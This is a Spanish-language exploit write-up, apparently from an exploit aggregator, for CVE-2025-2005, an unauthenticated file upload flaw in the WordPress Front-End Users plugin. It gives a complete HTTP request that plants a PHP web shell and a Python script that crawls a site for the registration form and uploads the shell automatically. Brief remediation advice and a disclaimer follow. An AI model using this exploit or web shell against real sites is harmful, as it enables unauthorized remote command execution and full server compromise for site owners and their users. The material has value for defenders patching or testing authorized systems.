Share
## https://sploitus.com/exploit?id=D64A608B-8A8D-5FFA-9533-BE2AE6D3421D
# CVE-2025-2005 - Pwn en WordPress Front-End Users Plugin
<div align="center">

<img src="https://images.steamusercontent.com/ugc/954101135156565426/21D9841F8E03ED30D91A7720388E1E8D3A464FC0/?imw=512&imh=288&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=true" width=50%/>

`By h4ckxel`
  
</div>

## Info R谩pida
- **Plugin:** Front-End Users
- **Versiones vulnerables:** <= 3.2.32
- **Tipo de fallo:** Arbitrary File Upload
- **CVSS Score:** 10 (Cr铆tico)
- **Riesgo:** Permite a cualquier atacante sin auth subir archivos arbitrarios (ej. web shells PHP) y ejecutarlos remotamente, comprometiendo todo el server.

## Descripci贸n del Bug
Este exploit se cuela por la validaci贸n deficiente del upload de archivos en los formularios de registro del plugin. No hay filtros de extensi贸n, auth checks ni saneamiento de tipos de archivo. Un atacante puede mandar un request `multipart/form-data` a cualquier form de registro y colar un `.php` malicioso en un campo custom (ej. `xxploit`).

Aunque los archivos subidos van a `wp-content/uploads/ewd_feup_uploads/` con un hash aleatorio en el nombre, siguen siendo ejecutables si PHP est谩 habilitado en el directorio.

---

## PoC - Manual Exploit
```http
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
```

El archivo se guarda en:
```
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php
```
El nombre cambia, pero se puede encontrar manualmente o con un scanner.

---

## PoC - Exploit en Python
```python
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print(f"[*] Scaneando: {base_url}")

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Error al acceder al sitio.")
    exit()

page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} p谩ginas encontradas...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text:
            registration_url = link
            print(f"[+] Form de registro encontrado en: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] No se encontr贸 el form autom谩ticamente. Intenta manualmente con --url.")
    exit()

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
    'ewd-feup-action': 'register',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}

print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)

if upload_response.status_code == 200:
    print("[+] Upload completado.")
else:
    print("[-] Fall贸 la subida.")
```

---

## Soluci贸n
Actualizar el plugin a la 煤ltima versi贸n segura (si existe), o desactivarlo temporalmente si no hay parche. Adem谩s:
-  Bloquear la ejecuci贸n de PHP en `wp-content/uploads/`.
-  Implementar validaciones de extensi贸n y tipo de archivo en el form.
-  Restringir uploads solo a usuarios autenticados.

---

## Disclaimer
Este PoC es solo para educaci贸n y pruebas de seguridad autorizadas. No seas un lamer, usa esto con responsabilidad y solo en entornos donde tengas permiso.